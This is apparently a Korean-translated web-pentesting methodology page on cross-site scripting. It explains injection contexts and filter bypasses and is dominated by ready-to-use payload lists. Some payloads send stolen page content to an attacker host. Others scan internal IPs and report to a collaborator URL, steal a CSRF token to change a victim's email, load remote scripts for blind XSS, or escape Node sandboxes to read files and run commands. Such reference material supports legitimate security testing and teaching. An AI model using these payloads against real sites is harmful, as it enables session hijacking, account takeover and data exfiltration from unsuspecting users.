XSS를 성공적으로 악용하기 위해 가장 먼저 찾아야 할 것은 당신이 제어하는 값이 웹 페이지에 반영되고 있는지입니다.
중간에 반영된 경우: 매개변수의 값이나 경로가 웹 페이지에 반영되고 있다면 반영된 XSS를 악용할 수 있습니다.
저장되고 반영된 경우: 당신이 제어하는 값이 서버에 저장되고 페이지에 접근할 때마다 반영된다면 저장된 XSS를 악용할 수 있습니다.
JS를 통해 접근된 경우: 당신이 제어하는 값이 JS를 사용하여 접근되고 있다면 DOM XSS를 악용할 수 있습니다.
맥락
XSS를 악용하려고 할 때 가장 먼저 알아야 할 것은 당신의 입력이 어디에 반영되고 있는지입니다. 맥락에 따라 다양한 방법으로 임의의 JS 코드를 실행할 수 있습니다.
원시 HTML
당신의 입력이 원시 HTML 페이지에 반영된다면, JS 코드를 실행하기 위해 일부 HTML 태그를 악용해야 합니다: <img , <iframe , <svg , <script ... 이들은 사용할 수 있는 많은 HTML 태그 중 일부에 불과합니다.
또한, 클라이언트 측 템플릿 주입을 염두에 두십시오.
HTML 태그 속성 내부
당신의 입력이 태그의 속성 값 내부에 반영된다면 다음을 시도할 수 있습니다:
속성과 태그에서 이스케이프 (그럼 원시 HTML에 있게 되며) 새로운 HTML 태그를 생성하여 악용합니다: "><img [...]
속성에서 이스케이프할 수 있지만 태그에서 이스케이프할 수 없는 경우 (>가 인코딩되거나 삭제된 경우), 태그에 따라 이벤트를 생성하여 JS 코드를 실행할 수 있습니다: " autofocus onfocus=alert(1) x="
속성에서 이스케이프할 수 없는 경우 ("가 인코딩되거나 삭제된 경우), 어떤 속성에 당신의 값이 반영되고 있는지에 따라 모든 값을 제어하는지 아니면 일부만 제어하는지에 따라 악용할 수 있습니다. 예를 들어, onclick=과 같은 이벤트를 제어하면 클릭 시 임의의 코드를 실행할 수 있습니다. 또 다른 흥미로운 예는 href 속성으로, javascript: 프로토콜을 사용하여 임의의 코드를 실행할 수 있습니다: href="javascript:alert(1)"
당신의 입력이 "악용할 수 없는 태그" 내부에 반영된다면, accesskey 트릭을 시도하여 취약점을 악용할 수 있습니다 (이를 악용하기 위해서는 어떤 형태의 사회 공학이 필요합니다): " accesskey="x" onclick="alert(1)" x="
이 경우 귀하의 입력은 HTML 페이지의 <script> [...] </script> 태그, .js 파일 또는 javascript: 프로토콜을 사용하는 속성 사이에 반영됩니다:
<script> [...] </script> 태그 사이에 반영되는 경우, 귀하의 입력이 어떤 종류의 따옴표 안에 있더라도 </script>를 주입하고 이 컨텍스트에서 탈출할 수 있습니다. 이는 브라우저가 먼저 HTML 태그를 파싱하고 그 다음에 내용을 파싱하기 때문에, 주입된 </script> 태그가 HTML 코드 안에 있다는 것을 인식하지 못합니다.
JS 문자열 안에 반영되는 경우 마지막 트릭이 작동하지 않으면 문자열에서 탈출하고, 코드를 실행하며 JS 코드를 재구성해야 합니다(오류가 발생하면 실행되지 않습니다):
'-alert(1)-'
';-alert(1)//
\';alert(1)//
템플릿 리터럴 안에 반영되는 경우 ${ ... } 구문을 사용하여 JS 표현식을 삽입할 수 있습니다: var greetings = `Hello, ${alert(1)}`
유니코드 인코딩은 유효한 자바스크립트 코드를 작성하는 데 사용됩니다:
\u{61}lert(1)\u0061lert(1)\u{0061}lert(1)
자바스크립트 호이스팅
자바스크립트 호이스팅은 함수, 변수 또는 클래스를 사용한 후에 선언할 수 있는 기회를 참조하여, 선언되지 않은 변수나 함수를 사용하는 XSS 시나리오를 악용할 수 있습니다.자세한 내용은 다음 페이지를 확인하세요:
이러한 종류의 XSS는 어디에서나 발견될 수 있습니다. 이들은 웹 애플리케이션의 클라이언트 취약점에만 의존하지 않고 모든맥락에 의존합니다. 이러한 종류의 임의 JavaScript 실행은 RCE를 얻거나, 클라이언트와 서버에서 임의의파일을 읽는 데에도 악용될 수 있습니다.
일부 예시:
from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21
원시 HTML 내에서 주입하기
입력이 HTML 페이지 내에서 반영되거나 이 맥락에서 HTML 코드를 이스케이프하고 주입할 수 있는 경우, 첫 번째로 해야 할 일은 <를 사용하여 새 태그를 생성할 수 있는지 확인하는 것입니다: 해당 문자를 반영해보고 HTML 인코딩되었는지, 삭제되었는지, 또는 변경 없이 반영되었는지 확인하십시오. 마지막 경우에만 이 경우를 악용할 수 있습니다.
이 경우에도 Client Side Template Injection을 염두에 두십시오._참고: HTML 주석은****** -->또는 ****--!>**로 닫을 수 있습니다._
이 경우 블랙/화이트리스트가 사용되지 않는다면, 다음과 같은 페이로드를 사용할 수 있습니다:
어떤 종류의 블랙리스트가 사용되고 있다면, 몇 가지 간단한 트릭으로 우회해 볼 수 있습니다:
//Random capitalization<script> --> <ScrIpT><img --> <ImG//Double tag, in case just the first match is removed<script><script><scr<script>ipt><SCRscriptIPT>alert(1)</SCRscriptIPT>//You can substitude the space to separate attributes for://*%00//%00*/%2F%0D%0C%0A%09//Unexpected parent tags<svg><x><script>alert('1')</x>//Unexpected weird attributes<script x><scripta="1234"><script ~~~><script/random>alert(1)</script><script ///Note the newline>alert(1)</script><scr\x00ipt>alert(1)</scr\x00ipt>//Not closing tag, ending with " <" or " //"<iframeSRC="javascript:alert('XSS');" <<iframe SRC="javascript:alert('XSS');"////Extra open<<script>alert("XSS");//<</script>//Just weird an unexpected, use your imagination<</script/script><script><input type=image srconerror="prompt(1)">//Using `` instead of parenthesisonerror=alert`1`//Use more than one<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
<!-- Taken from the blog of Jorge Lajara --><svg/onload=alert``><scriptsrc=//aa.es><scriptsrc=//℡㏛.pw>
The last one is using 2 unicode characters which expands to 5: telsr
More of these characters can be found 여기.
To check in which characters are decomposed check 여기.
Click XSS - Clickjacking
If in order to exploit the vulnerability you need the 사용자가 링크나 양식을 클릭하도록 해야 한다면 Clickjacking을 악용해 볼 수 있습니다 (페이지가 취약한 경우).
Impossible - Dangling Markup
If you just think that JS 코드를 실행하는 속성을 가진 HTML 태그를 만드는 것은 불가능하다고 생각한다면 Dangling Markup을 확인해 보세요. 왜냐하면 JS 코드를 실행하지 않고도 취약점을 악용할 수 있기 때문입니다.
Injecting inside HTML tag
Inside the tag/escaping from attribute value
If you are in HTML 태그 내부에 있다면, 시도해 볼 수 있는 첫 번째 방법은 태그에서 이스케이프하여 이전 섹션에서 언급된 기술 중 일부를 사용하여 JS 코드를 실행하는 것입니다.
If you 태그에서 이스케이프할 수 없다면, 태그 내부에 새로운 속성을 생성하여 JS 코드를 실행해 보세요. 예를 들어, (이 예제에서는 속성에서 이스케이프하기 위해 이중 따옴표를 사용하지만, 입력이 태그 내부에 직접 반영되는 경우에는 필요하지 않습니다):
<p style="animation: x;" onanimationstart="alert()">XSS</p><p style="animation: x;" onanimationend="alert()">XSS</p>#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
Within the attribute
속성에서 탈출할 수 없는 경우 ("가 인코딩되거나 삭제됨)에도 불구하고, 어떤 속성에 값이 반영되는지에 따라 모든 값 또는 일부만 제어할 수 있다면 이를 악용할 수 있습니다. 예를 들어, onclick=와 같은 이벤트를 제어할 수 있다면 클릭 시 임의의 코드를 실행할 수 있습니다.
또 다른 흥미로운 예는 href 속성으로, 여기서 javascript: 프로토콜을 사용하여 임의의 코드를 실행할 수 있습니다: href="javascript:alert(1)"
HTML 인코딩/URL 인코딩을 사용한 이벤트 내 우회
HTML 태그 속성의 값 내 HTML 인코딩된 문자는 런타임에 디코딩됩니다. 따라서 다음과 같은 것이 유효합니다 (페이로드는 굵게 표시됨): <a id="author" href="http://none" onclick="var tracker='http://foo?'-alert(1)-'';">Go Back </a>
모든 종류의 HTML 인코딩이 유효하다는 점에 유의하세요:
//HTML entities'-alert(1)-'//HTML hex without zeros'-alert(1)-'//HTML hex with zeros'-alert(1)-'//HTML dec without zeros'-alert(1)-'//HTML dec with zeros'-alert(1)-'<ahref="javascript:var a=''-alert(1)-''">a</a><ahref="javascript:alert(2)">a</a><ahref="javascript:alert(3)">a</a>
//For some reason you can use unicode to encode "alert" but not "(1)"<imgsrconerror=\u0061\u006C\u0065\u0072\u0074(1) /><imgsrconerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
Special Protocols Within the attribute
여기에서 javascript: 또는 data: 프로토콜을 사용하여 임의의 JS 코드를 실행할 수 있는 몇 가지 장소가 있습니다. 일부는 사용자 상호작용이 필요하고 일부는 필요하지 않습니다.
javascript:alert(1)JavaSCript:alert(1)javascript:%61%6c%65%72%74%28%31%29//URL encodejavascript:alert(1)javascript:alert(1)javascript:alert(1)javascriptΪlert(1)java //Note the new linescript:alert(1)data:text/html,<script>alert(1)</script>DaTa:text/html,<script>alert(1)</script>data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3edata:text/html;charset=UTF-8,<script>alert(1)</script>data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pgdata:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
이 프로토콜을 주입할 수 있는 장소
일반적으로javascript: 프로토콜은 href 속성을 허용하는 모든 태그에서 사용할 수 있으며대부분의 src 속성을 허용하는 태그에서 사용할 수 있습니다 (단, <img>는 제외).
또한 이러한 경우를 위한 또 다른 멋진 트릭이 있습니다: 입력이 javascript:... 안에 있을 때 URL 인코딩이 되어 있더라도, 실행되기 전에 URL 디코딩이 됩니다. 따라서 단일 인용부호를 사용하여 문자열에서 탈출해야 하고 URL 인코딩이 되어 있는 것을 본다면, 상관없습니다, 실행 시간 동안 단일 인용부호로 해석됩니다.
<!-- Injection inside meta attribute--><metaname="apple-mobile-web-app-title"content=""Twitterpopoverid="newsletter"onbeforetoggle=alert(2) /><!-- Existing target--><buttonpopovertarget="newsletter">Subscribe to newsletter</button><divpopoverid="newsletter">Newsletter popup</div>
여기에서: 숨겨진 속성 내에서 XSS 페이로드를 실행할 수 있으며, 이를 위해 희생자가 키 조합을 누르도록 설득할 수 있어야 합니다. Firefox Windows/Linux에서 키 조합은 ALT+SHIFT+X이고, OS X에서는 CTRL+ALT+X입니다. 접근 키 속성에서 다른 키를 사용하여 다른 키 조합을 지정할 수 있습니다. 벡터는 다음과 같습니다:
이 예제에서는 단일 인용부호를 닫지 않았습니다. 이는 HTML 파싱이 먼저 브라우저에 의해 수행되기 때문입니다. 여기에는 페이지 요소, 즉 스크립트 블록을 식별하는 과정이 포함됩니다. JavaScript를 파싱하여 내장된 스크립트를 이해하고 실행하는 것은 그 이후에 수행됩니다.
JS 코드 내부
<>가 정리되고 있다면 여전히 문자열을 이스케이프할 수 있으며, 입력이 위치한 곳에서 임의의 JS를 실행할 수 있습니다. JS 구문을 수정하는 것이 중요합니다. 오류가 있을 경우 JS 코드가 실행되지 않기 때문입니다:
문자열을 생성하기 위해 JS는 단일 및 이중 따옴표 외에도 백틱 **``**을 허용합니다. 이는 템플릿 리터럴로 알려져 있으며 ${ ... } 구문을 사용하여 JS 표현식을 내장할 수 있습니다.
따라서 입력이 백틱을 사용하는 JS 문자열 내에서 반영되고 있음을 발견하면 ${ ... } 구문을 악용하여 임의의 JS 코드를 실행할 수 있습니다:
이것은 다음을 사용하여 악용할 수 있습니다:
`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``functionloop(){return loop}loop``````````````
인코딩된 코드 실행
<script>\u0061lert(1)</script>
<svg><script>alert('1')
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
'\b'//backspace'\f'//form feed'\n'//new line'\r'//carriage return'\t'//tab'\b'//backspace'\f'//form feed'\n'//new line'\r'//carriage return'\t'//tab// Any other char escaped is just itself
//This is a 1 line comment/* This is a multiline comment*/<!--This is a 1line comment#!This is a 1 line comment, but "#!" must to be at the beggining of the first line-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
//Javascript interpret as new line these chars:String.fromCharCode(10); alert('//\nalert(1)') //0x0aString.fromCharCode(13); alert('//\ralert(1)') //0x0dString.fromCharCode(8232); alert('//\u2028alert(1)') //0xe2 0x80 0xa8String.fromCharCode(8233); alert('//\u2029alert(1)') //0xe2 0x80 0xa9
자바스크립트 공백
log=[];functionfunct(){}for(let i=0;i<=0x10ffff;i++){try{eval(`funct${String.fromCodePoint(i)}()`);log.push(i);}catch(e){}}console.log(log)//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:<img/src/onerror=alert(1)>
주석 안의 Javascript
//If you can only inject inside a JS comment, you can still leak something//If the user opens DevTools request to the indicated sourceMappingURL will be send//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
괄호 없는 JavaScript
// By setting locationwindow.location='javascript:alert\x281\x29'x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x// or any DOMXSS sink such as location=name// Backtips// Backtips pass the string as an array of lenght 1alert`1`// Backtips + Tagged Templates + call/applyeval`alert\x281\x29`// This won't work as it will just return the passed arraysetTimeout`alert\x281\x29`eval.call`${'alert\x281\x29'}`eval.apply`${[`alert\x281\x29`]}`[].sort.call`${alert}1337`[].map.call`${eval}\\u{61}lert\x281337\x29`// To pass several arguments you can usefunctionbtt(){console.log(arguments);}btt`${'arg1'}${'arg2'}${'arg3'}`//It's possible to construct a function and call itFunction`x${'alert(1337)'}x```// .replace can use regexes and call a function if something is found"a,".replace`a${alert}`//Initial ["a"] is passed to str as "a," and thats why the initial string is "a,""a".replace.call`1${/./}${alert}`// This happened in the previous example// Change "this" value of call to "1,"// match anything with regex /./// call alert with "1""a".replace.call`1337${/..../}${alert}`//alert with 1337 instead// Using Reflect.apply to call any function with any argumnetsReflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`// Using Reflect.set to call set any value to a variableReflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.
// valueOf, toString// These operations are called when the object is used as a primitive// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''toString=alert;window+''// Error handlerwindow.onerror=eval;throw"=alert\x281\x29";onerror=eval;throw"=alert\x281\x29";<imgsrc=x onerror="window.onerror=eval;throw'=alert\x281\x29'">{onerror=eval}throw"=alert(1)" //No ";"onerror=alert //No ";" using new linethrow 1337// Error handler + Special unicode separatorseval("onerror=\u2028alert\u2029throw 1337");// Error handler + Comma separator// The comma separator goes through the list and returns only the last elementvar a = (1,2,3,4,5,6) // a = 6throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alertthrow onerror=alert,1,1,1,1,1,1337// optional exception variables inside a catch clause.try{throw onerror=alert}catch{throw 1}// Has instance symbol'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
//Eval like functionseval('ale'+'rt(1)')setTimeout('ale'+'rt(2)');setInterval('ale'+'rt(10)');Function('ale'+'rt(10)')``;[].constructor.constructor("alert(document.domain)")``[]["constructor"]["constructor"]`$${alert()}```import('data:text/javascript,alert(1)')//General function executions``//Can be use as parenthesisalert`document.cookie`alert(document['cookie'])with(document)alert(cookie)(alert)(1)(alert(1))in"."a=alert,a(1)[1].find(alert)window['alert'](0)parent['alert'](1)self['alert'](2)top['alert'](3)this['alert'](4)frames['alert'](5)content['alert'](6)[7].map(alert)[8].find(alert)[9].every(alert)[10].filter(alert)[11].findIndex(alert)[12].forEach(alert);top[/al/.source+/ert/.source](1)top[8680439..toString(30)](1)Function("ale"+"rt(1)")();newFunction`al\ert\`6\``;Set.constructor('ale'+'rt(13)')();Set.constructor`al\x65rt\x2814\x29```;$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)globalThis[`al`+/ert/.source]`1`this[`al`+/ert/.source]`1`[alert][0].call(this,1)window['a'+'l'+'e'+'r'+'t']()window['a'+'l'+'e'+'r'+'t'].call(this,1)top['a'+'l'+'e'+'r'+'t'].apply(this,[1])(1,2,3,4,5,6,7,8,alert)(1)x=alert,x(1)[1].find(alert)top["al"+"ert"](1)top[/al/.source+/ert/.source](1)al\u0065rt(1)al\u0065rt`1`top['al\145rt'](1)top['al\x65rt'](1)top[8680439..toString(30)](1)<svg><animateonbegin=alert() attributeName=x></svg>
DOM 취약점
공격자가 제어하는 안전하지 않은 데이터를 사용하는 JS 코드가 있습니다. 예를 들어 location.href와 같은 것입니다. 공격자는 이를 악용하여 임의의 JS 코드를 실행할 수 있습니다.
DOM 취약점에 대한 설명이 길어져서이 페이지로 이동했습니다:
여기에서 DOM 취약점이 무엇인지, 어떻게 유발되는지, 그리고 어떻게 악용되는지에 대한 자세한 설명을 찾을 수 있습니다.
또한, 언급된 게시물의 끝에서DOM 클로버링 공격에 대한 설명을 찾을 수 있다는 것을 잊지 마세요.
Self-XSS 업그레이드
쿠키 XSS
쿠키 안에 페이로드를 보내서 XSS를 유발할 수 있다면, 이는 보통 self-XSS입니다. 그러나 XSS에 취약한 서브도메인을 찾으면, 이 XSS를 악용하여 전체 도메인에 쿠키를 주입하여 메인 도메인이나 다른 서브도메인(쿠키 XSS에 취약한 것)에서 쿠키 XSS를 유발할 수 있습니다. 이를 위해 쿠키 토싱 공격을 사용할 수 있습니다:
만약 302 Redirect 응답에서 헤더를 주입할 수 있다면, 브라우저가 임의의 JavaScript를 실행하도록 시도할 수 있습니다. 이는 간단하지 않습니다. 현대 브라우저는 HTTP 응답 상태 코드가 302인 경우 HTTP 응답 본문을 해석하지 않기 때문에, 단순한 크로스 사이트 스크립팅 페이로드는 무용지물입니다.
이 보고서와 이 보고서에서 Location 헤더 내에서 여러 프로토콜을 테스트하고, 그 중 어떤 것이 브라우저가 본문 내의 XSS 페이로드를 검사하고 실행할 수 있도록 허용하는지 확인하는 방법을 읽을 수 있습니다.
과거에 알려진 프로토콜: mailto://, //x:1/, ws://, wss://, 빈 Location 헤더, resource://.
Only Letters, Numbers and Dots
만약 JavaScript가 실행할콜백을 이러한 문자로 제한할 수 있다면, 이 게시물의 이 섹션을 읽어 이 동작을 악용하는 방법을 찾아보세요.
Valid <script> Content-Types to XSS
(From here) 만약 application/octet-stream과 같은 content-type으로 스크립트를 로드하려고 하면, Chrome은 다음과 같은 오류를 발생시킵니다:
Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx' because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
webbundle: Web Bundles는 HTML, CSS, JS 등 여러 데이터를 .wbn 파일로 패키징할 수 있는 기능입니다.
<scripttype="webbundle">{"source": "https://example.com/dir/subresources.wbn","resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]}</script>The resources are loaded from the source .wbn, not accessed via HTTP
<scripttype="importmap">{"imports": {"moment": "/node_modules/moment/src/moment.js","lodash": "/node_modules/lodash-es/lodash.js"}}</script><!-- With importmap you can do the following --><script>import moment from"moment";import { partition } from"lodash";</script>
이 동작은 이 글에서 라이브러리를 eval로 재매핑하여 XSS를 유발할 수 있는 남용을 트리거하는 데 사용되었습니다.
speculationrules: 이 기능은 주로 프리 렌더링으로 인해 발생하는 몇 가지 문제를 해결하기 위한 것입니다. 작동 방식은 다음과 같습니다:
페이지가 text/xml 콘텐츠 유형을 반환하는 경우 네임스페이스를 지정하고 임의의 JS를 실행할 수 있습니다:
<xml><text>hello<imgsrc="1"onerror="alert(1)"xmlns="http://www.w3.org/1999/xhtml" /></text></xml><!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
특수 치환 패턴
**"some {{template}} data".replace("{{template}}", <user_input>)**와 같은 것이 사용될 때, 공격자는 특수 문자열 치환을 사용하여 일부 보호를 우회하려고 할 수 있습니다: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))
예를 들어 이 글에서는 스크립트 내에서 JSON 문자열을 이스케이프하고 임의의 코드를 실행하는 데 사용되었습니다.
사용할 수 있는 문자 집합이 제한된 경우, XSJail 문제에 대한 다른 유효한 솔루션을 확인하십시오:
// eval + unescape + regexeval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))// use of withwith(console)log(123)with(/console.log(1)/)with(this)with(constructor)constructor(source)()// Just replace console.log(1) to the real code, the code we want to run is://return String(process.mainModule.require('fs').readFileSync('flag.txt'))with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))
//Final solutionwith(/with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))/)with(this)with(constructor)constructor(source)()// For more uses of with go to challenge misc/CaaSio PSE in// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
만약 모든 것이 정의되지 않은 상태에서 신뢰할 수 없는 코드를 실행한다면 (예: 이 글) 유용한 객체를 "무에서" 생성하여 임의의 신뢰할 수 없는 코드 실행을 악용할 수 있습니다:
import() 사용하기
// although import "fs" doesn’t work, import('fs') does.import("fs").then(m=>console.log(m.readFileSync("/flag.txt","utf8")))
이전 예제와 유사한 방식으로, 오류 처리기를 사용하여 모듈의 래퍼에 접근하고 require 함수를 얻는 것이 가능합니다:
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = ''.constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log('='.repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req('child_process').execSync('id').toString())
}
}
}
trigger()
JavaScript에서 HTTPOnly 플래그가 설정된 쿠키에 접근할 수 없습니다. 하지만 여기에서 이 보호를 우회하는 몇 가지 방법이 있습니다, 운이 좋다면요.
페이지 콘텐츠 훔치기
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8";
var attacker = "http://10.10.14.8/exfil";
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open('GET', url, true);
xhr.send(null);
내부 IP 찾기
<script>
var q = []
var collaboratorURL = 'http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net';
var wait = 2000
var n_threads = 51
// Prepare the fetchUrl functions to access all the possible
for(i=1;i<=255;i++){
q.push(
function(url){
return function(){
fetchUrl(url, wait);
}
}('http://192.168.0.'+i+':8080'));
}
// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for(i=1; i<=n_threads; i++){
if(q.length) q.shift()();
}
function fetchUrl(url, wait){
console.log(url)
var controller = new AbortController(), signal = controller.signal;
fetch(url, {signal}).then(r=>r.text().then(text=>
{
location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now()
}
))
.catch(e => {
if(!String(e).includes("The user aborted a request") && q.length) {
q.shift()();
}
});
setTimeout(x=>{
controller.abort();
if(q.length) {
q.shift()();
}
}, wait);
}
</script>
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>
<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>
<!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>
<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload== onerror=eval(atob(this.id))>
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload== autofocus>
<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
Regex - 숨겨진 콘텐츠 접근
이 글에서 알 수 있듯이, 일부 값이 JS에서 사라져도 여전히 다른 객체의 JS 속성에서 찾을 수 있습니다. 예를 들어, REGEX의 입력값이 제거된 후에도 REGEX의 입력값을 여전히 찾을 수 있습니다:
// Do regex with flag
flag="CTF{FLAG}"
re=/./g
re.test(flag);
// Remove flag value, nobody will be able to get it, right?
flag=""
// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"])
Brute-Force List
XSS 다른 취약점 악용하기
Markdown에서의 XSS
렌더링될 Markdown 코드를 주입할 수 있나요? 아마도 XSS를 얻을 수 있을 것입니다! 확인해보세요:
캐싱을 사용하는 사이트에서 XSS를 얻었나요? 이 페이로드를 사용하여 그것을 SSRF로 업그레이드해보세요:
<esi:include src="http://yoursite.com/capture" />
Use it to bypass cookie restrictions, XSS filters and much more!
More information about this technique here: XSLT.
동적으로 생성된 PDF에서의 XSS
웹 페이지가 사용자 제어 입력을 사용하여 PDF를 생성하는 경우, PDF를 생성하는 봇을 속여임의의 JS 코드를 실행하도록 시도할 수 있습니다.
따라서 PDF 생성 봇이 어떤 종류의 HTML태그를 찾으면, 이를 해석하게 되고, 이 동작을 악용하여 서버 XSS를 유발할 수 있습니다.